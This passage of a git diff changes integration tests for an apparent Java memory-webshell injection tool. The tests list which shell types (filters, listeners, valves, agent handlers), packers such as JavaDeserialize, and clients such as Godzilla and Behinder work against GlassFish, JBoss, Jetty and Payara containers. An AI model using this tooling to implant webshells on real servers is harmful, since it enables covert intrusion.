); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index ef06f1e0..a5b9087e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -54,9 +54,7 @@ public class GlassFish501ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index d73583fc..47286c4d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -54,9 +54,7 @@ public class GlassFish510ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index 7945669b..3e292c4b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -54,9 +54,7 @@ public class GlassFish6ContainerTest { List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); @@ -65,6 +63,7 @@ public class GlassFish6ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index b7e280d9..90ed5bcc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -54,9 +54,7 @@ public class GlassFish7ContainerTest { List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index d6e7c0e7..c4174762 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -55,9 +55,7 @@ public class Jboss423ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 90c41ccc..7cc32ef0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -54,9 +54,7 @@ public class Jboss510ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 0a123c6d..b44b249d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -54,9 +54,7 @@ public class Jboss610ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index dd9613a4..ba48db9d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -57,9 +57,8 @@ public class Jboss711ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + ShellType.CATALINA_AGENT_CONTEXT_VALVE + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 97797252..805a81f8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -51,7 +51,11 @@ public class JbossEap7ContainerTest { static Stream casesProvider() { Server server = Server.JBossEAP7; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER); + List supportedShellTypes = List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 3d5db04c..12ed60b1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -53,8 +53,7 @@ public class Jetty10ContainerTest { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -63,6 +62,7 @@ public class Jetty10ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 458a8107..2ecd36d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -17,7 +17,6 @@ import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple; import java.util.List; import java.util.stream.Stream; @@ -56,16 +55,11 @@ public class Jetty11ContainerTest { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); - List> unSupportedCases = List.of( - Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), // jdk module - Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar) // jdk module - ); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - unSupportedCases, List.of(ShellTool.AntSword) + null, List.of(ShellTool.AntSword) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java index 0c809431..8a73c4e5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java @@ -11,14 +11,17 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; -import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.io.File; import java.util.List; import java.util.stream.Stream; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -30,44 +33,45 @@ import static org.hamcrest.MatcherAssert.assertThat; @Slf4j @Testcontainers public class Jetty12ee10ContainerTest { - public static final String imageName = "jetty:12.0-jre21-ee10"; - public static final String serviceName = "jetty1221ee10"; - + public static final String imageName = "reajason/jetty:12.0-jre21-ee10"; + static Network network = Network.newNetwork(); @Container - public static final DockerComposeContainer compose = - new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee10.yaml")) - .withExposedService(serviceName, 8080); + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER + ShellType.JAKARTA_LISTENER, + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta + null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta ); } @AfterAll static void tearDown() { - String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); + String logs = container.getLogs(); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } - public static String getUrl() { - String host = compose.getServiceHost(serviceName, 8080); - int port = compose.getServicePort(serviceName, 8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java index a404db34..4f93d6db 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java @@ -11,14 +11,17 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; -import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.io.File; import java.util.List; import java.util.stream.Stream; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -30,44 +33,43 @@ import static org.hamcrest.MatcherAssert.assertThat; @Slf4j @Testcontainers public class Jetty12ee8ContainerTest { - public static final String imageName = "jetty:12.0-jre21-ee8"; - public static final String serviceName = "jetty1221ee8"; - + public static final String imageName = "reajason/jetty:12.0-jre21-ee8"; + static Network network = Network.newNetwork(); @Container - public static final DockerComposeContainer compose = - new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee8.yaml")) - .withExposedService(serviceName, 8080); + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, - ShellType.LISTENER + ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta - ); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { - String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); + String logs = container.getLogs(); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } - public static String getUrl() { - String host = compose.getServiceHost(serviceName, 8080); - int port = compose.getServicePort(serviceName, 8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java index eee28680..07d7a63a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java @@ -12,6 +12,10 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; @@ -19,6 +23,9 @@ import java.io.File; import java.util.List; import java.util.stream.Stream; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.jettyPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -30,44 +37,45 @@ import static org.hamcrest.MatcherAssert.assertThat; @Slf4j @Testcontainers public class Jetty12ee9ContainerTest { - public static final String imageName = "jetty:12.0-jre21-ee9"; - public static final String serviceName = "jetty1221ee9"; - + public static final String imageName = "reajason/jetty:12.0-jre21-ee9"; + static Network network = Network.newNetwork(); @Container - public static final DockerComposeContainer compose = - new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee9.yaml")) - .withExposedService(serviceName, 8080); + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER + ShellType.JAKARTA_LISTENER, + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta + null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta ); } @AfterAll static void tearDown() { - String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); + String logs = container.getLogs(); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } - public static String getUrl() { - String host = compose.getServiceHost(serviceName, 8080); - int port = compose.getServicePort(serviceName, 8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index f07290e9..0dbf8d73 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -52,7 +52,8 @@ public class Jetty61ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java index d6d0eaf9..f462a71e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java @@ -53,8 +53,7 @@ public class Jetty75ContainerTest { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index da459c1b..5a0b7c34 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -53,8 +53,7 @@ public class Jetty76ContainerTest { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 360764bf..2be9c1ac 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -53,8 +53,7 @@ public class Jetty81ContainerTest { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 1343595d..6fb1c5af 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -54,8 +54,7 @@ public class Jetty92ContainerTest { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 9a2e3af2..30177d40 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -53,8 +53,7 @@ public class Jetty93ContainerTest { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -63,6 +62,7 @@ public class Jetty93ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 37572ada..3a7136e3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -53,8 +53,7 @@ public class Jetty94ContainerTest { Server server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index 0dd2e272..f5168999 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -53,8 +53,7 @@ public class Payara5201ContainerTest { Server server = Server.Payara; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java 